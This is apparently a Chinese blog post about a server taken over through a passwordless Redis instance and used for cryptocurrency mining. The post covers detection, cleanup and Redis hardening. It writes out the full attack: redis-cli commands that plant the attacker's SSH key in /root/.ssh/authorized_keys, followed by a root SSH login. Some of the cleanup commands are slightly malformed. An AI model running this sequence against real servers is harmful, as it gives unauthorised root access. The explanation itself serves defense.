前言

  前几天在自己服务器上搭了redis,准备想着大展身手一番,昨天使用redis-cli命令的时候,10s后,显示进程已杀死。然后又试了几次,都是一样的结果,10s时间,进程被杀死。这个时候我还没发现事情的严重性。

发现问题

  进程莫名被杀死,可能是cpu被占满,赶紧看了一下cpu。

[root@VM_0_13_centos etc]# top

  果然如此,cpu被莫名的占满了。简单,根据pid杀死进程就行了。

[root@VM_0_13_centos etc]# kill -9 27882

  在我以为事情已经完结的情况下,使用reids-cli的时候又出现同样的问题,进程被杀死,我在用 top 命令查看的时候,cpu又被占满了。这个时候我才意识到问题的严重性,这个command是一串无规则数字,应该不是一个正经的进程,而且我试过了几次,这个进程总是在被杀死后重新启动,不过是以不同的pid和不同的command,这可能是一个定时任务,然后我看了一下本地的定时任务:

[root@VM_0_13_centos etc]# crontab -l

  果然有一个定时任务,那就删掉他。

[root@VM_0_13_centos etc]# rm -rf /var/spool/cron/root

  等我再次杀掉那个异常线程在 top 的时候,发现进程又出现了,我返回看定时任务的时候,发现定时任务也又出现了,直接崩溃....

问题原因

  我从一个技术群里面了解到,这可能是redis漏洞所造成的,造成该现象的原因有如下几种:

  • 将redis暴露在公网上,即把redis绑定在0.0.0.0:6379
  • redis密码过于简单,甚至没有(我就是后种情况..)
  • 使用root权限操作redis

攻击原理

  1. 首先在本地产生密钥文件

     $ ssh-keygen –t rsa
  2. 进入~/.ssh/,将公钥写进foo.txt文件

     $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
  3. 再连接 Redis 写入文件

    $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
    $ redis-cli -h 192.168.1.11
    $ 192.168.1.11:6379> config set dir /root/.ssh/
    OK
    $ 192.168.1.11:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    $ 192.168.1.11:6379> config set dbfilename "authorized_keys"
    OK
    $ 192.168.1.11:6379> save
    OK

    这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

     $ ssh –i  id_rsa root@192.168.1.11

    即可远程利用自己的私钥登录该服务器。

  当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。

解决方法

  1. 阻断服务器与外界进行数据传输

    我怀疑我的服务器被恶意被当作肉机,所以我第一步就将这种方式拦截掉。

     $ iptables -A INPUT -sxmr.crypto-pool.fr -j DROP | iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

    恢复

     $ iptables -A INPUT -sxmr.crypto-pool.fr -j ACCEPT | iptables -A OUTPUT -d xmr.crypto-pool.fr -j ACCEPT
  2. 给redis设密码

    配置文件redis.conf 中找到requirePass 项

  3. 清除authorized_keys的信息(如果有的话,我没有就不用了)

  4. 禁止定时任务开机启动

     $ systemctl disabled cron.service
  5. 重启服务器,并删除定时任务

    $ reboot
    $ rm -rf /var/spool/cron/root

redis 安装建议

  • 禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的"#bind 127.0.0.1" ,去掉前面的"#"即可(Redis本来就是作为内存数据库,只要监听在本机即可);

  • 设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass" 设置复杂密码 (需要重启Redis服务才能生效);

  • 对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器;

  • 修改Redis默认端口,将默认的6379端口修改为其他端口;

  • 禁用config指令避免恶意操作,在Redis配置文件redis.conf中配置rename-command项"RENAME_CONFIG",这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度;

  • Redis使用普通用户权限,禁止使用 root 权限启动Redis 服务,这样可以保证在存在漏洞的情况下攻击者也只能获取到普通用户权限,无法获取root权限;

后记

  这次有惊无险,不然就得重装系统了。

如果觉得有用就关注我吧~

redis 漏洞造成服务器被入侵-CPU飙升的更多相关文章

  1. 由于Redis漏洞导致服务器被黑

    原文地址 漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Re ...

  2. 记一次Linux服务器因redis漏洞的挖矿病毒入侵

    中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱. 所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!! ...

  3. Redis3未授权访问漏洞导致服务器被入侵

    今天在腾讯云上搭的开发环境里的一台机器cpu load飚升老高,然后还能登陆上去,top后发现两个可疑进程./root/目录下有修改过的文件./opt目录被干掉了, 后经分析,这台机器上有redis外 ...

  4. 记一次服务器被植入挖矿木马cpu飙升200%解决过程

    线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序.突然一则噩耗从前线传来:网站不能访问了. 此项目是我负责,我以150+的手速立即打开了服务器 ...

  5. struts2之高危远程代码执行漏洞,可造成服务器被入侵,下载最新版本进行修复

          Struts2 被发现存在新的高危远程代码执行漏洞,可造成服务器被入侵,只要是Struts2版本 低于 2.3.14.3 全部存在此漏洞.目前官方已经发布了最新的版本进行修复.请将stru ...

  6. 面试连环炮系列(八):服务器CPU飙升100%怎么排查

    服务器CPU飙升100%怎么排查 执行"top"命令,查看当前进程CPU占用的实时情况,PID列是进程号,确定是哪个应用程序的问题. 如果是Java应用导致的,怎么定位故障原因 执 ...

  7. 一次腾讯云centos服务器被入侵的处理

    昨天一大早,我还没到公司呢,就收到腾讯云安全中心发来的服务器异常登录告警,登录控制台一看,ip还是美国的,一脸懵逼.由于本人之前也没有过处理服务器入侵的经验,而且这台服务器目前还没有部署商用系统,所以 ...

  8. Linux服务器被入侵后的处理过程(转发阿良)

    Linux服务器被入侵后的处理过程   突然,频繁收到一组服务器 ping 监控不可达邮件,赶紧登陆 zabbix 监控系统查看流量状况. 可见流量已经达到了 800M 左右,这肯定不正常了,马上尝试 ...

  9. CPU飙升的问题

    本文转载自CPU飙升的问题 问题发现 事情是这样的,最近小码仔负责的项目预定今天凌晨2点上进行版本更新.前几天测试小姐姐对网站进行压力测试,观察服务的CPU.内存.load.RT.QPS等各种指标. ...

随机推荐

  1. Mybatis案例升级版——小案例大道理

    纯Mybatis案例升级版——小案例大道理 前言: 这几天看了一本书<原则>,在上面看到了一句话叫“每个人都把自己眼界的局限当成世界的局限”,大学生是

  2. gym/102059 E

    gym/102059 待通过:A.D.G.J.M 已补过:E E:电路题,判断一个图是不是简单电路.不需要特殊的技巧,利用set存图,把度数为2的点都删掉,融入到一条边上即可. #include &l ...

  3. Rikka with Prefix Sum(组合数学)

    Rikka with Prefix Sum 题目描述 Prefix Sum is a useful trick in data structure problems. For example, giv ...

  4. 2017ACM总结

    首先对自己表示强烈的谴责, 这个时间应该是打cf的时间, 没有想到我又秀到了自己, 放弃了CF, 23333, 菜鸡wxk. 高中刚毕业的时候,听大学生们跪求老师不要给挂科,当时想的是,哇上了大学就不 ...

  5. Java微服务(一):dubbo-admin控制台的使用

    1.环境准备 使用CentOS7+Docker+Zookeeper3.4.10搭建dubbo微服务 1.1.安装docker容器 (1).uname -r:docker要求CentOS的内核版本高于3 ...

  6. Word 远程调用失败:异常来自 HRESULT:0x800706BE

    之前服务器上一直运行正常的,这几天突然报错 “远程过程调用失败. (异常来自 HRESULT:0x800706BE) ” 解决方案:组件服务—我的电脑—属性—COM安全—编辑默认值  添加各种用户权限 ...

  7. IDEA中输出syso的快捷键设置

    1. 2. 3. 4. 5.上图中的第三步会出现警告,那个红色的字,点击Define,选择Java 6.之后点击Apply和OK即可

  8. 为什么说 Java 程序员必须掌握 Spring Boot ?(转)

    Spring Boot 2.0 的推出又激起了一阵学习 Spring Boot 热,那么, Spring Boot 诞生的背景是什么?Spring 企业又是基于什么样的考虑创建 Spring Boot ...

  9. MySQL的安装与配置——详细教程

    免安装版的Mysql MySQL关是一种关系数据库管理系统,所使用的 SQL 语言是用于访问数据库的最常用的 标准化语言,其特点为体积小.速度快.总体拥有成本低,尤其是开放源码这一特点,在 Web 应 ...

  10. 一篇RPO漏洞挖掘文章翻译加深理解。

    这是我第一次尝试翻译一篇漏洞挖掘文章,翻译它也是为了加深理解它.这是一篇很有意思的漏洞挖掘文章. 前几天在看fd的博客,偶然看到了这篇文章,虽然有点老了.但是思路真的牛皮.我决定花费时间和精力研究它们 ...